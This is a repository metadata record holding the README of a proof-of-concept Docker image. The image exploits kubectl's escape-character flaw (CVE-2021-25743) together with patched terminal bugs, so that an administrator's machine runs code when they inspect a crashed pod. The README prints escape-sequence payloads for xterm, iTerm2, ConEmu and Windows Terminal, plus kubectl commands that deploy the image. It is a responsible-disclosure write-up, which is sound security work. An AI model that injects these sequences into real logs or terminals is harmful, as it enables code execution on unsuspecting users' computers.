{"id":16308821,"url":"https://github.com/dgl/houdini-kubectl-poc","last_synced_at":"2025-06-24T08:02:35.201Z","repository":{"id":152485264,"uuid":"613155594","full_name":"dgl/houdini-kubectl-poc","owner":"dgl","description":"A proof of concept Docker image for escaping Kubernetes via terminals","archived":false,"fork":false,"pushed_at":"2023-03-14T05:28:41.000Z","size":8,"stargazers_count":7,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-06-16T12:56:43.777Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Dockerfile","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"0bsd","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dgl.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"COPYING","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-13T02:12:42.000Z","updated_at":"2025-06-02T04:44:19.000Z","dependencies_parsed_at":"2023-07-02T20:00:50.836Z","dependency_job_id":null,"html_url":"https://github.com/dgl/houdini-kubectl-poc","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/dgl/houdini-kubectl-poc","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgl%2Fhoudini-kubectl-poc","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgl%2Fhoudini-kubectl-poc/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgl%2Fhoudini-kubectl-poc/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgl%2Fhoudini-kubectl-poc/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dgl","download_url":"https://codeload.github.com/dgl/houdini-kubectl-poc/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dgl%2Fhoudini-kubectl-poc/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":261632033,"owners_count":23187268,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-10T21:18:48.519Z","updated_at":"2025-06-24T08:02:35.151Z","avatar_url":"https://github.com/dgl.png","language":"Dockerfile","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Kubectl escape character handling PoC\n\nThis is a proof of concept for [CVE-2021-25743][cve-2021-25743] combined with a\nselection of terminal vulnerabilities I found that can achieve remote code\nexecution across several client platforms (some common, some less so). It is\ndelivered as a very simple Docker image for ease of testing.\n\n## An imaginary scenario\n\nContainer escapes usually need a bug in the container infrastructure, like a\nkernel bug or another bug in a subsystem like runc.\n\nIf an attacker is unable to abuse those, they may look for more creative means.\nThis is one such method, it relies on a pod crashing and the administrator\nattempting to debug it, while using a terminal with a vulnerability.\n\nIn Kubernetes `/dev/termination-log` is world writable within the container and\nit's very trivial to crash a container (e.g. run it out of memory). This means\nif an attacker finds a way to make an application write to that file and also\nDoS an application, they can potentially make the administrator start looking\n(to see what the problem is, e.g. prompted by an alert) and in the process of\ndoing that, the administrator could get attacked, with code execution achieved\non their client machine.\n\nThis means the container does not need Kubernetes API access of any kind, a\ncommon way to reduce Kubernetes attack surface is to [turn off the service\naccount secret][apicred] which is automatically mounted in each pod. The issue\nwith `/dev/termination-log` is not new, Trail of Bits covered it in their [2019\naudit of Kubernetes][2019audit] and a [PR is open][pr108076] to tighten the\npermissions.\n\n## Usage\n\n_Only use this on systems you have permission to test._\n\nWith kubectl configured with a cluster and namespace you have access to create\npods in, simply:\n\n```\nkubectl run --image=davidgl/houdini-kubectl-poc kubectl-poc\nsleep 10  # or however long the cluster take to schedule the pod\nkubectl describe pod/kubectl-poc\n```\n\nThe pod deliberately crashes. Manual cleanup is needed; delete the\npod when finished:\n\n```\nkubectl delete pod/kubectl-poc\n```\n\n## CVEs\n\nThis primarily targets Kubectl's CVE-2021-25743. It needs to be combined with a\nterminal vulnerability to have any effect though. Some examples are:\n\n- xterm font OSC ([CVE-2022-45063][CVE-2022-45063])\n\n  `\"\\e]50;i$(xcalc\u0026)\\a\\e]50;?\\a\"`\n\n- iTerm2 DECRQSS ([CVE-2022-45872][CVE-2022-45872])\n\n  `\"\\eP$q;open -a Calculator\\r\\e\\\\\\eP$q\\e\\\\\"`\n\n- ConEmu title ([CVE-2022-46387][CVE-2022-46387])\n\n  `\"\\e]0;\\rcalc.exe\\r\\e\\\\\\e[21t\"`\n\n- Windows Terminal WSL directory ([CVE-2022-44702][CVE-2022-44702])\n\n  `\"\\e]9;9;/\" calc.exe \"o /\\e\\\\\"`\n\n- Some colour (not a terminal vulnerability, test for CVE-2021-25743 alone)\n\n  `\"\\e[31mIf you see this in red your kubectl is not fixed against CVE-2021-25743\\e[m\"`\n\nThe list above contains escape sequences in C-style strings, as this section of\nthe readme is expanded and written to /dev/termination-log, see\n[Dockerfile](Dockerfile).\n\nNote the last entry is not a terminal vulnerability, but an attacker could\nstill use it in an attempt to social engineer the administrator, e.g. change\nsomething else on screen (cursor movement sequences means they can change lines\nabove where the text is actually output).\n\n## I'm vulnerable, help?\n\n- Update to kubectl of at least 1.26;\n- Update your terminal\n\n## Disclosure\n\nAll of the terminal bugs were responsibly disclosed to the authors of the\naffected software and have now been fixed for several months.\n\nSeveral of these exploits were shared with the Kubernetes Security team in\nadvance for awareness, in general the bugs are in terminals, so while Kubectl\nshould (and now does, at least in this case) escape these characters, the\nreason the issues turn out to be severe are because of the more severe bugs in\nterminals.\n\n## Credits\n\n- Eviatar Gerzi for [finding the kubectl issue][cyberark-title] originally;\n- [G-Research Open Source](https://opensource.gresearch.co.uk/) for letting me research this;\n- All the terminal authors for fixing things.\n\n[cve-2021-25743]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-25743\n[CVE-2022-45063]: https://www.openwall.com/lists/oss-security/2022/11/10/1\n[CVE-2022-45872]: https://nvd.nist.gov/vuln/detail/CVE-2022-45872\n[CVE-2022-44702]: https://github.com/microsoft/terminal/releases/tag/v1.15.2874.0\n[CVE-2022-46387]: https://gist.github.com/dgl/05ca60cdc7efc9e47bbc58d0c952635e\n[pr108076]: https://github.com/kubernetes/kubernetes/pull/108076\n[apicred]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#opt-out-of-api-credential-automounting\n[2019audit]: https://github.com/kubernetes/sig-security/blob/6f1cec8878c705b67982e9b3bf3b52d6f19e17e0/sig-security-external-audit/security-audit-2019/findings/Kubernetes%20Final%20Report.pdf\n[cyberark-title]: https://www.cyberark.com/resources/threat-research-blog/dont-trust-this-title-abusing-terminal-emulators-with-ansi-escape-characters\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdgl%2Fhoudini-kubectl-poc","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdgl%2Fhoudini-kubectl-poc","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdgl%2Fhoudini-kubectl-poc/lists"}